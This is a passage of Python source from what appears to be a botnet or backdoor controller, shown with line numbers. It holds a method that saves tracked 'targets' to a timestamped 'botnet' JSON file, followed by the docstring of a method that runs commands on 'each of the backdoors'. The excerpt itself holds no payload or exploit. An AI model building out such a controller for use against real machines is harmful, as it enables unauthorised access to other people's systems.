(self, options: str)
| 177 | @throw CommandException if the targets could not be saved. |
| 178 | """ |
| 179 | def __export(self, options: str): |
| 180 | timestamp = int(time()) |
| 181 | outTargets = [] |
| 182 | for target in self.targets: |
| 183 | outTarget = {} |
| 184 | for key in target.keys(): |
| 185 | if key != "processor": |
| 186 | outTarget[key] = target[key] |
| 187 | outTargets.append(outTarget) |
| 188 | out = { |
| 189 | "targets": outTargets |
| 190 | } |
| 191 | with open(f"botnet-{timestamp}.json", 'w') as f: |
| 192 | json.dump(out, f, ensure_ascii=False, indent=4) |
| 193 | |
| 194 | """ |
| 195 | @brief Run a command on each of the backdoors. |
nothing calls this directly
no outgoing calls
no test coverage detected